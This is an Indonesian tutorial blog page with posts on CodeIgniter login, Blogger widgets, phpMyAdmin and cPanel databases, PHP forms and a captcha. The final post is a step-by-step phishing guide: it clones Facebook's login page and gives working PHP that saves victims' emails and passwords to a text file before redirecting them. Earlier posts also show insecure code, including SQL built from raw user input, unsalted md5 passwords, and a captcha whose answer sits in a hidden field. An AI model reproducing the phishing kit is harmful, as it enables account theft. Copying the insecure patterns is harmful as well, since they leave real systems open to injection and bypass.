Blog & Tutorial

Sabtu, 15 September 2018

Membuat Fungsi Login Sederhana dengan Codeigniter

Administrator Sabtu, 15 September 2018 0
Membuat Fungsi Login Sederhana dengan Codeigniter
Halo sobat semua, setelah sekian lama Saya tidak mengupdate blog ini, sekarang Saya mencoba untuk memulai kembali, sembari mengisi kekosongan aktifitas saat ini. Ya, Kali ini Saya akan menunjukkan bagaimana cara membuat form login menggunakan Codeigniter. Saya anggap para pembaca sudah mengetahui apa itu codeigniter. Langsung saja Kita mulai cara membuatnya.

Dalam praktik Kali ini, kita menggunakan database MySQL sebagai penyimpanan data. Kemudian Kita buat 3 file, yakni file yang bernama login.php sebagai file controller dan terletak di dalam folder controller, kemudian MLogin.php sebagai proses database yang nantinya terletak pada folder model dan yang terakhir adalah file login.php di mana isi dari file ini berbeda dari file yang terletak pada controller. File yang terakhir ini kita letakkan pada folder view yang berfungsi sebagai user interface alias tampilannya.

Selain 3 file di atas, Kita juga membutuhkan database sebagai media penyimpanan data. Langsung saja Kita membuat database. Buat database dengan cukup 3 field saja, yakni id, user, dan pass (sebetulnya sih 2 filed saja tidak mengapa) dan berikut adalah query pembuatan 3 field tersebut. Dan kali ini, untuk password kita gunakan md5 encrytp. DIbawah ini juga sudah terdapat 2 contoh data nya.
CREATE TABLE `user` (
  `iduser` int(5) NOT NULL,
  `user` varchar(15) NOT NULL,
  `pass` varchar(255) NOT NULL,
) ENGINE=InnoDB DEFAULT CHARSET=latin1;

INSERT INTO `user` (`iduser`, `user`, `pass`) VALUES
(1, 'user', 'ee11cbb19052e40b07aac0ca060c23ee'),
(2, 'admin', '21232f297a57a5a743894a0e4a801fc3');
Baik, selanjutnya kita ke bagian selanjutnya yakni file controller. Sobat langsung saja ketik script function seperti di bawah ini (ingat, ketik jangan copy paste. Karena dengan mengetik, Anda sedikit dapat menghafalanya).
//fungsi ini proses kerja verifikasi login user dan password
 function verify(){
  //memanggil file model yang telah dibuat
  $this -> load -> model ('muser');
  if(($this -> input -> post ('user')) && ($this -> input -> post ('pass'))){
   $u = $this -> input -> post('user');
   $ps = $this -> input -> post('pass');
   //verifikasi user dan pass yang diinputkan ke file model untuk diolah
   $row = $this -> muser -> ceking($u,$ps);
   //apabila file ditemukan dan terhitung
   if(count($row)){
    echo "ditemukan";
   }
   //apabila data tidak ditemukan
   else{
    echo"tidak ditemukan";
   } 
  }
  //apabila form yang disediakan tidak diisi dengan lengkap
  else{
   echo "form ada yang kosong";
  } 

 }
Ok, setelah file controller di atas telah dibuat, sekarang Kita buat file modelnya, yang berfungsi untuk mengolah data yang masuk dari file conteroller di atas. Berikut fungsi scriptnya :
//fungsi ceking untuk mengecek inputan yang ada
  function ceking($u,$pw){
   //mengubah inputan menjadi encryptioun md5
   $ps = md5($pw);
   //membaca database
   $sql = $this -> db -> query ("select * from user where user ='$u' and pass ='$ps'");

   //mengolah, apabila data ditemukan, maka akan dikirim kembali ke file controller
   if($sql -> num_rows() > 0){
    $row = $sql -> row_array();
    return $row;
   }
   else{
    //apabila data tidak ditemukan, maka akan mengirimkan informasi ini
    $this -> session -> set_flashdata('pesan','username atau password tidak terdaftar');
    return array();
   }
  }

Selesai, sekarang Kita akan membuat file selanjutnya, yaitu file form sebgai tampilan atau user interface. File ini terletak pada folder view. Kita akan membuat secara sederahan. File ini hanya membutuhkan 2 textfield yakni user dan password. Berikut adalah script sederhananya
//membuat form dengan action tujuan ke function verify pada file control
    <form method="post" action="login/verify" name="loginForm">
    //textfield username 
    <div id="login-box-name" style="margin-top:20px;">Username:</div><div id="login-box-field" style="margin-top:20px;">
    <input name="user" type="text" class="form-login" title="Username" value="" size="30" maxlength="30" /></div>
    //textfield password
    <div id="login-box-name">Password:</div><div id="login-box-field">
    <input name="pass" type="password" class="form-login" title="Password" value="" size="30" maxlength="30" /></div>
    //pesan apabila proses gagal (lihat pada file model di atas)
    <font color="red" style="margin-left:90px;"><b><?php echo $this->session->flashdata('pesan');?></b></font>
    <font color="red" style="margin-left:0px;"><b><?php echo $this->session->flashdata('pesaner');?></b></font><br/>
    //tombol submit
    <input type="submit" value="Login"  style="margin-left:90px;"/>
    </form>

Selesai sudah semua yang kita butuhkan. Silahkan melakukan ujicoba baikn menggunakan server local ataupun serever berbayar yang sudah Anda miliki. Apabila Anda ingin file lengkap di atas, silahkan download ling di bawah ini. Anda juga dapat memberikan masukkan kritik membangun beserta saran terhadap blog ini pada komntar di bawah. Terima Kasih.

Senin, 27 November 2017

Menampilkan Widget Recent Comment atau Komentar Terbaru pada Blogger

Administrator Senin, 27 November 2017 0
Menampilkan Widget Recent Comment atau Komentar Terbaru pada Blogger
Kita berjumpa lagi dalam tutorial selanjutnya. Tutorial kali ini merupakan tutorial lawas namun masih juga diperlukan dan ditampilkan pada blog Kita, yakni menampilkan komentar terbaru pada blog. Blog kali ini menggunakan blogger / blogspot. Fungsi dari menampilkan komentar terbaru ini juga menguntungkan buat pemilik blog, hal ini dikarenakan mudah dilihat ketika terdapat komentar terbaru, pemilik blog bisa mengetahuinya lewat halaman pengunjung dan membalas komentar tersebut sehingga terdapat interaksi antara komnetar pengunjung dan pemilik. Selama ini sering Kita jumpai apabila pemilik blog jarang menjawab, mungkin salah satunya ketidak tahuan apabila ada pertanyaan pada komentar artikel yang bersangkutan. Sebagai contoh, Anda dapat melihat bagian kiri halaman ini.

Source code ini bukan buatan saya tapi buatan Hans Oosting yang beralamat di http://beautifulbeta.blogspot.com. Dengan source code ini kita bisa mengedit sendiri "Recent Comment" sesuai dengan keinginan,yang jelas jika kita sudah punya basic pemrograman pasti bisa mengedit kode ini dengan mudah, asal jangan lupa jangan merubah kode sumber pembuatnya.

Source code terdiri dari 2 bagian, yang pertama yakni bagian file yang berisi code utuk memanggil dan memisah kan file json dari komentar suatu blog dan file yang lainnya berfungsi untuk memanggil file json yang kita buat. Berikut adalah file pertama :
// ----------------------------------------
// SHOW RECENT COMMENTS
// ----------------------------------------
// This functions takes a blogger-feed in JSON
// format and displays it.
//
// Version:2.1
// Date:2007-02-02
// Author:Hans Oosting
// URL:beautifulbeta.blogspot.com
// ----------------------------------------

function showrecentcomments(json) {
 for (var i = 0;
 i < numcomments;
 i++) {
  var entry = json.feed.entry[i];
  var alturl;
  if (i == json.feed.entry.length) break;
  for (var k = 0;
  k < entry.link.length;
  k++) {
   if (entry.link[k].rel == 'alternate') {
    alturl = entry.link[k].href;
    break;
   }
  }
  alturl = alturl.replace("#","#comment-");
  var postlink = alturl.split("#");
  postlink = postlink[0];
  var linktext = postlink.split("/");
  linktext = linktext[5];
  linktext = linktext.split(".html");
  linktext = linktext[0];
  var posttitle = linktext.replace(/-/g," ");
  posttitle = posttitle.link(postlink);
  var commentdate = entry.published.$t;
  var cdyear = commentdate.substring(0,4);
  var cdmonth = commentdate.substring(5,7);
  var cdday = commentdate.substring(8,10);
  var monthnames = new Array();
  monthnames[1] = "Jan";
  monthnames[2] = "Feb";
  monthnames[3] = "Mar";
  monthnames[4] = "Apr";
  monthnames[5] = "May";
  monthnames[6] = "Jun";
  monthnames[7] = "Jul";
  monthnames[8] = "Aug";
  monthnames[9] = "Sep";
  monthnames[10] = "Oct";
  monthnames[11] = "Nov";
  monthnames[12] = "Dec";
  if ("content" in entry) {
   var comment = entry.content.$t;
  }
  elseif ("summary" in entry) {
   var comment = entry.summary.$t;
  }
  else var comment = "";
  var re = /<\S[^>]*>/g;
  comment = comment.replace(re,"");
  if (!standardstyling) document.write('<div class="bbrecpost">');
  if (showcommentdate == true) document.write('On '+monthnames[parseInt(cdmonth,10)]+' '+cdday+' ');
  document.write('<a href="'+alturl+'">'+entry.author[0].name.$t+'</a>commented');
  if (showposttitle == true) document.write(' on '+posttitle);
  if (!standardstyling) document.write('</div><div class="bbrecpostsum">');
  if (comment.length < numchars) {
   if (standardstyling) document.write('<i>');
   document.write(comment);
   if (standardstyling) document.write('</i>');
  }
  else {
   if (standardstyling) document.write('<i>');
   comment = comment.substring(0,numchars);
   var quoteEnd = comment.lastIndexOf(" ");
   comment = comment.substring(0,quoteEnd);
   document.write(comment+'...<a href="'+alturl+'">(more)</a>');
   if (standardstyling) document.write('</i>');
  }
  if (!standardstyling) document.write('</div>');
 }
 if (!standardstyling) document.write('<div class="bbwidgetfooter">');
 document.write('<span style="font-size:80%;">Widget by <a href="http://hackosphere.blogspot.com">Hackosphere</a>Powered by <a href="http: //beautifulbeta.blogspot.com">Beautiful Beta</a></span>');
 if (!standardstyling) document.write('</div>');
}
Copy file di atas pada notepad kemudian simpan dengan extensi txt. Setelah itu, letakkan pada hosting yang Anda miliki, baik hosting yang gratis ataupun yang berbayar, hal ini agar file json tersebut mudah diakses. Setelah selesai, kita buat code yang kedua. Code yang kedua ini berfungsi untuk memanggil code yang pertama kita buat tadi. Berikut code-nya.
<script style="text/javascript" src="link tempat Anda menyimpan code pertama"></script>
<script style="text/javascript">
//jumlah komentar yang akan ditampilkan
var numcomments = 5;
//untuk menampilkan tanggal komentar
var showcommentdate = true;
//untuk menampilkan judul posting
var showposttitle = true;
//panjang karakter komentar yang ditampilkan
var numchars = 100;
var standardstyling = true;
</script>
<script src="http://alamat blog Anda/feeds/comments/default?alt=json-in-script&callback=showrecentcomments"></script>

Letakkan code di atas pada gadget HTML/JavaScript di menu tata letak halaman admin blogger. Kumpulan code di atas akan menampilkan recent comment standar. Namun bila Anda ingin seperti atau bahkan ingin megubah tampilan recent comment sebelah kanan blog ini, silahkan Anda download code pertama pada tombol di bawah ini dan silahkan letakkan pada hsoting Anda atau bisa juga gunakan url berikut pada code ke dua http://demo.contohnya.net/file/ndung.txt. Selamat mencoba.


Sabtu, 25 November 2017

Membuat Tabel, Field dan Record pada MySQL dengan phpMyAdmin (Manual)

Administrator Sabtu, 25 November 2017 0
Membuat Tabel, Field dan Record pada MySQL dengan phpMyAdmin (Manual)
Setelah kemarin kita belajar dasar membuat database pada cpanel, kali ini kita membuat tabel yang didalamnya terdapat field yang berisi record. Kesemua itu saling berhubungan. Bingung? Ok, kita akan membahas sedikit mengenai ketiganya.
  • Tabel, menghimpun sejumlah field dan record, misalnya tabel Mahasiswa yang terdiri dari field Jurusan yang memiliki record Teknik Komputer, Teknik Informatika dan Sistem Inormasi.
  • Field, merupakan data terkecil yang memiliki makna, istilah lainnya disebut elemen data, atribut maupun kolom item. Misalnya Nama Mahasiswa, NIM dan Jurusan .
  • Record, merupakan kumpulan atau elemen dari data yang saling terkait. Contohnya field nama yang memiliki record Adi, Budi dan Sandi. Record merupakan elemen - elemen data dari field dan biasanya dinyatakan sebagai tupel atau baris. (Sumber)
Tampilan window database pada cpanel
Membuat Tabel
Nah, selanjutnya kita akan membuat tabel terlebih dahulu. Seperti biasa, Kita anggap Anda sudah melakukan login pada cpanel hosting Anda. Kemudia, carilah window database dan klik icon phpMyAdmin (gambar atas). Maka Anda akan diarahkan menuju halaman phpMyAdmin yang didalamnya terdapat database yang sudah kita buat kemarin.
Tampilan halaman phpMyAdmin
Pada gambar di atas, dapat kita lihat pada bagian kiri, merupakan database yang telah kita buat kemarin yakni bernama contohny_demo kemudian pada bagian kiri terdapat window untuk membuat tabel. Pada nama, adalah nama tabel yang akan Kita buat, sedangkan pada jumlah kolom merupakan jumlah field yang akan kita buat. Sebagai contoh, kita akan membuat tabel dengan nama percobaan dengan jumlah field 4 buah.

Membuat Field
Tampilan pembuatan tabel database pada phpMyAdmin
Tampilan di atas merupakan beberapa baris untuk membuat field dan beberapa kolom sebagai fungsinya. Berikut ini akan Kita sedikit menjelaskan satu persatu.

  1. Kolom nama berfungsi untuk memberikan penamaan suatu field yang akan digunakan. Pada kali ini, Kita akan membuat field id, nama, alamat, umur.
  2. Type merupakan type data dari field tersebut, diantaranya ada int, text, varcar, dll. Untuk type ini, lebih jelasnya Anda dapat membaca di sini (sumber). Kita akan membuat type (secara berurut sesuai kolom nama) int, varcar, text, int.
  3. Kolom Length/Values berfungsi untuk menentukan panjang dari record yang akan diisi nantinya sesuai dengan kolom nama.
  4. Centang sala satu nama. AI atau Auto Increament otomatis akan bertambah nilainya jika terjadi penambahan row pada table dimana field tersebut berada. Biasanya digunakan pada nama id suatu tabel. Kali ini, field id untuk AI nya kita centang dan pada kolom index kita pilih primary pada nama id tersebut.
  5. Setelah itu, tekan save untuk melkukan penyimpanan pembuatan field.

Lebih jelasnya, silahkan lihat gambar di bawah ini.
Tampilan pembuatan field
Membuat Record
Kali ini dalam pembatannya mudah. Kita hanya mengisi record pada field yang telah kita buat. Bagaimana caranya? Tentukan dahulu tabel yang akan diisi record (nomer 1) kemudian pilih insert (nomer 2). Maka Anda akan dialihkan pada halaman isi data field.
Pembuatan tabel sukses
Setelah Anda dialihkan pada halaman pengisian data field, selanjutnya silahkan Anda mengisi kolom atau form sesuai dengan namanya. Sebagai contoh, silahkan Anda lihat pada gambar di bawah ini.
Pengisian record
Pada gambar di atas dapat kita lihat berdasarkan nomer, yakni :
  1. Merupakan kolom ID, boleh diisi boleh tidak dan karena merupakan Auto Increament, lebih baik dikosongkan karena akan otomatis terisi dan bertambah +1 setiap ada data masuk.
  2. Merupakan kolom Nama yang panjang maksimal 30 karakter termasuk spasi. Jadi, tidak boleh melebihi 30 karakter.
  3. Merupakan kolom alamat dan panjangnya karakternya 0 s/d 65.535 (216 – 1) karakter (sumber).
  4. Umur, dikarenakan tipenya adalah integer (int) maka harus disi dengan angka maksimal 3 digit.
  5. Klik go agar data yang telah diisi tersimpan pada database.

Setelah selesai maka data Anda yang telah dibuat diatas telah telah tersimpan pada database. Untuk melihat hasilnya, Anda dapat menekan menu browse pada kiri atas. Anda dapat melihat hasilnya sesuai dengan gambar berikut.
Hasil penyimpanan data pada database
Nah, mudah bukan untuk membuatnya secara manual? Selamat mencoba dan sampai jumpa lagi dengan cara yang otomatis.

Jumat, 24 November 2017

Membuat Database MySQL pada CPanel

Administrator Jumat, 24 November 2017 0
Membuat Database MySQL pada CPanel
Basis data (database) adalah kumpulan informasi yang disimpan di dalam komputer secara sistematik sehingga dapat diperiksa menggunakan suatu program komputer untuk memperoleh informasi dari basis data tersebut. Perangkat lunak yang digunakan untuk mengelola dan memanggil kueri (query) basis data disebut sistem manajemen basis data (database management system, DBMS). Sistem basis data dipelajari dalam ilmu informasi.(sumber).

Dalam pembuatan database ini cukup mudah. Saat ini, tinggal klik, maka database yang diinginkan sudah terbentuk tanpa harus mengetikkan query yang cukup panjang. Ok, langsung saja Kita mencoba membangunnya. Pertama tama, silahkan Anda melakukan login ke dalam cpanel hosting Anda. Biasanya, alamat tersebut berada pada http://namadomainanda.com/cpanel namun tidak menutup kemungkinan bukan itu :)

Kita anddap Anda sudah berhasil login pada cpanel Anda. Selanjutnya Kita cari tabel database dan klik icon MySQL database.

Tampilan cpanel pada hosting

Setelah Anda klik icon yang dimaksud, maka Kita akan diarahakan ke halaman manajemen database. Kemudian, pada bagian create new database, silahkan Anda ketik nama database yang Anda inginkan kemudian klik tombol create database maka database akan terbuat.

Tampilan halaman pembuatan database

Langkah selanjutnya adalah menambahakan user dan password yang berfungsi untuk inisialisasi user siapa yang bisa mengakses database. Anda tinggal scroll kebawah halaman pembuatan database tadi. Pada contoh ini, user yang Kita gunakan menggunakan nama coba. Kemudian tentukan password dari user yang bernama coba tadi. Buatlah password yang orang lain susah untuk menebaknya. Setelah itu klik create user maka user database akan terbentuk.

Tampilan halaman pembuatan user database

Langkah selanjutnya adalah menghubungkan antara database dengan user yang sudah dibuat sebelumnya. Hal ni cukup mudah, kita hanya memilih database mana yang akan dihubungkan dengan user yang mana. Hal ini dibuat yang berfungsi untuk menghubungkan antara web yang kita bangun dengan database yang digunakan.

Menentukan database dan user yang akan dihubungkan.

Klik add dan Anda akan dialihkan ke halaman Manage User Privileges yang berfungsi untuk menentukan aktifitas apa saja yang bisa dilakukan user yang baru dihubungkan tadi. Apabila boleh melakukan segala aktifitas, maka centang ALL PRIVILEGES pada bagian atas halaman tersebut dan tekan make changes.

Pengaturan Manage User Privileges

Sangat mudah bukan :) Demikianlah tutorial kali ini mengenai pembuatan database, membuat user database dan menghubungkannya. Semoga membantu dan semoga berhasil.

Kamis, 23 November 2017

Membuat pilihan Tanggal dengan ComboBox pada PHP

Administrator Kamis, 23 November 2017 0
Membuat pilihan Tanggal  dengan ComboBox pada PHP
Biasanya ketika kita membuat suatu web, pastinya terdapat unsur tanggal bukan? Nah, disini saya akan menuliskan bagaimana cara membuatnya dengan bahasa PHP. Salah satu cara untuk memilih tanggal adalah menggunakan ComboBox. Tujuan dengan menggunakan ComboBox adalah untuk mempermudah user dalam memilih pilihan yang sudah disediakan.
Hal ini juga menghindari kesalahan user dalam penulisan suatu format tanggal yang telah disediakan. Untuk lebih jelasnya, lihat pelajari dan coba script berikut ini:
<?php
//array yang digunakan pada ComboBox bulan
$bln=array(1=>"Januari","Februari","Maret","April","Mei","Juni","July","Agustus","September","Oktober","November","Desember");

//membuat tanggal 1-31 pada ComboBox
echo "Tanggal:<select name=tanggal>
<option value=01 selected>01</option>";
 for($tgl=2; $tgl<=31; $tgl++){
  $tgl_leng=strlen($tgl);
  if ($tgl_leng==1)
   $i="0".$tgl;
  else
   $i=$tgl;
   echo "<option value=$i>$i</option>";
 }
echo "</select>";

//membuat bulan ComboBox
echo "<select name=bulan>
  <option value=Januari selected>Januari</option>";
   for($bulan=2; $bulan<=12; $bulan++){
    echo "<option value=$bulan>$bln[$bulan]</option>";
   }
echo "</select>";

//Membuat tahun 1900 sampai sekarang pada ComboBox
$now=date("Y");
echo "<select name=tahun>
 <option value=1900 selected>1900</option>";
  for($thn=1901; $thn<=$now; $thn++){
   echo "<option value=$thn>$thn</option>";
  }
echo "</select>";
?>

Nah, kita bisa lihat dengan menggunakan beberapa baris kode di atas, kita sudah biasa membuat pemilhan tanggal-bulan-tahun. Misalnya dari ComboBox tanggal, hanya dengan beberapa baris kode sudah terdapat pilihan tanggal antara tanggal 1-31. Begitu juga dengan tahun, sudah terdapat pilihan antara tahun 1900 hingga sekarang. Nah, mudah bukan? Sekarang giliran anda untuk mencoba bagooos

Noted : Script di atas belum mengunakan validasi tanggal kabisat.


Selasa, 21 November 2017

Membuat Captcha Model Penjumlahan

Administrator Selasa, 21 November 2017 0
Membuat Captcha Model Penjumlahan
CAPTCHA atau Captcha adalah suatu bentuk uji tantangan-tanggapan (challange-response test) yang digunakan dalam perkomputeran untuk memastikan bahwa jawaban tidak dihasilkan oleh suatu komputer (aplikasi bot-pen). Proses ini biasanya melibatkan suatu komputer (server) yang meminta seorang pengguna untuk menyelesaikan suatu uji sederhana yang dapat dihasilkan dan dinilai oleh komputer tersebut. Karena komputer lain tidak dapat memecahkan CAPTCHA, pengguna manapun yang dapat memberikan jawaban yang benar akan dianggap sebagai manusia.(sumber)

Biasanya captcha ini berada pada suatu form, entah itu form pendaftaran atau form postingan. Hal ini juga sebagai salah satu security dalam menghindari proses yang secara terus menerus (looping forever) yang biasanya dilakukan oleh mesin (komputer / sistem). Dengan kata lain, captcha ini merupakan salah satu validasi yang memastikan bahwa yang sedan melakukan aktifitas adalah manusia, bukan sistem komputer.

Sering kita menjumpai jenis captcha, umumnya kita melihat captcha milik google. Modelnya pun bermacam macam, dari validasi penulisan kata, gambar bahkan nomer. Nah, pada kali ini Kita akan membuat captcha sederhana buatan kita sendiri. Yakni menggunakan perhitungan matematika :)

Sebelum membuat, Kita harus memahami pembuatan form menggunakan PHP secara dasarnya. Kali ini kita hanya membuat 1 textbox dan 1 tombol submit saja guna pengetikan hasil perhitungan dan proses validasi captcha yang diinginkan.
<?php
    $_SESSION['n1'] = rand(1,99); //mendapatkan nilai 1
    $_SESSION['n2'] = rand(1,9); //mendapatkan nilai 2
    $_SESSION['hasil'] = $_SESSION['n1']+$_SESSION['n2']; //menjumlahkan nilai 1 dan nilai 2
?>
Code di atas merupakan fungsi session yakni sebuah fungsi yang dapat menyimpan nilai sementara pada browser dan fungsi ini terus bekerja hingga browser yang digunakan di close. Letakkan code di atas pada bagian atas file yang digunakan. Session kali ini menggunakan 3 buah nama yakni
  • n1 yang berfungsi menyimpan nilai pertama.
  • n2 yang berfungsi menyimpan nilan kedua.
  • hasil yang berfungsi menjumlahkan nilai pertama dan kedua. Anda juga bebas mengganti fusngsi matematikanya, baik itu diubah menjadi pengurangan, perkalian atau lain sebagainya.
sedangkan rand merupakan fungsi untuk mengacak suatu angka yang sudah ditentukan. Pada contoh di atas, n1 adalah angka 1 hingga 99 dan n2 adalah angka dari 1 hingga 9. Setelah itu, kita buat form nya yang meliputi textbox dan tombol submit.
<form action="?page=action" method="post">
 <table style="font-family:monospace;font-size: 13px;" border="0" width="455">
        <tr>
   <td valign="top">Berapa <?php echo "".$_SESSION[n1]." + ".$_SESSION[n2]."?"; ?></td>
   <td valign="top">:</td>
   <td><input name="captcha" type="text" size="25" placeholder="<?php echo $_SESSION[n1]."+".$_SESSION[n2]."="; ?>"/>
       <input type="hidden" name="captcha2" size="5" maxlength="5" value="<?php echo $_SESSION[hasil]; ?>""/><br/>
  </tr> 
  <tr colspan="4">
   <td><input type="submit" name="simpan" value="Eksekusi"/></td>
  </tr>   
  </tbody>
 </table>
</form>
Potongan code di atas berfungsi untuk menampilkan form yang sebelumnya telah dijelaskan. Penulis menggunakan <table> agar tampilan menarik untuk dilihat. Sedangkan fungsi session, sudah Kita bahas sebelumnya. Setelah selesai, sekarang kita tuliskan kode yang berfungsi untuk melakukan eksekusi captcha di atas. Letakkan code berikut ini pada bagian paling bawah file yang digunakan.
<?php
    //apabila tombol submit ditekan
    if($_POST['simpan']=="Eksekusi"){
        //apabila penjumlahan dan inputan tidak sama
        if(($_POST['captcha'] != $_POST['captcha2'])){
            echo "hasilnya tidak tepat";
        }
        //apabila penjumlahan dan inputan sama
        else{
            echo "Hasilnya tepat";
        }
    }    
?>
Apabila semua code sudah selesai tertulis, silahkan simpan dengan nama terserah Anda namun menggunakan extensi .php dan letakkan file tersebut pada hosting, baik online ataupun offline untuk mencoba eksekusi. Untuk lebih jelasnya, Anda dapat melihat halaman contoh dengan menekan tombol contoh di bawah ini atau juga bisa mendownloadnya. Selamat mencoba dan semoga berhasil.


Minggu, 19 November 2017

Membuat Fake Login atau Login Palsu pada Facebook

Administrator Minggu, 19 November 2017 0
Membuat Fake Login atau Login Palsu pada Facebook
Setelah beberapa lalu ktia membahas mengenai teori social engineering untuk mendapatkan ID facebook orang lain, sekarang Kita coba belajar membuat fake login tersebut. Pertama tama kita ambil dulu sourcer code asli dari halaman aslinya. Dalam hal ini kita ambil contoh facebook. Untuk mengetahui source code facebook ini sangat mudah. Pertama kunjungi halaman facebook kemudian klik kanan mouse kemudian pilih view page source jika Anda menggunakan browser google chrome. Setelah terbuka, silahkan copy source code tersebut. Setelah itu, buat dahulu file dengan extensi php pada hosting kemudian paste-kan kode tersebut pada file yang baru dibut tersebut. Dalam hal ini saya buat dengan nama login.html. Sekarang Anda coba akses file tersbut. Apabila tampilan sesuai dengan facebook, berarti berhasil. Anda dapat melihat gambarnya di bawah ini. :

Halaman login facebook

Source code facebook

Tampilan sukses

Setelah Anda menyimpan file source code tersebut, sekarang cari potongan kode (menggunakan fungsi find atau ctrf+f) id="login_form". Setelah ketemu, ubah action-nya menjadi login.php. Hal ini berfungsi untuk, apabila korban login pada halaman palsu facebook yang telah buat, korban akan dialihkan ke file login.php. Isi dari file login.php adalah sebagai berikut :
<?php
 //menentukan nama file
 $file = "hasil.txt";
 //apabila file ada, akan melakukan proses slenjutnya
 //apabila tidak ada, file hasil.txt dibuat
 //kemudian ke proses selanjutnya
 $a= fopen($file, 'a+') or die("can't open file");
 //mengakap variabel yang dikirim dari file login.html
 $text = "$_POST[email] -> $_POST[pass]\r\n";
 //setelah didapatkan, variabel tersebut ditulis
 $write=fwrite($a, $text);
 //file ditutup kembali
 fclose($a);

 //halaman dialihkan otomatis ke halaman asli facebook
 echo"<script language=javascript>window.location='http://www.facebook.com'</script>";
?>

Setelah selesai, upload file login.html dan login.php yang telah kita buat ke server host. Kemudian buka alamat URL login.html yang telah Anda buat dan cobalah melakukan login. Jika sudah, sekarang silahkan buka alamat URL hasil.txt. Apabila sudah tertulis, berarti pekerjaan Kita telah berhasil. Anda dapat mengubah tampilan hasil.txt sesuai selera. Tidak hanya facebook yang bisa dilakukan, semua form login apapun dapat dibuat halaman palsunya namun caranya tetap sama dengan memanfaatkan ketidak tahuan korban (social engineering).

Dilarang keras membuat dengan tujuan yang tidak baik!!!

FYI : Penarapan hal ini bisa berdampak di-suspend-nya / diblokirnya hosting Anda!!!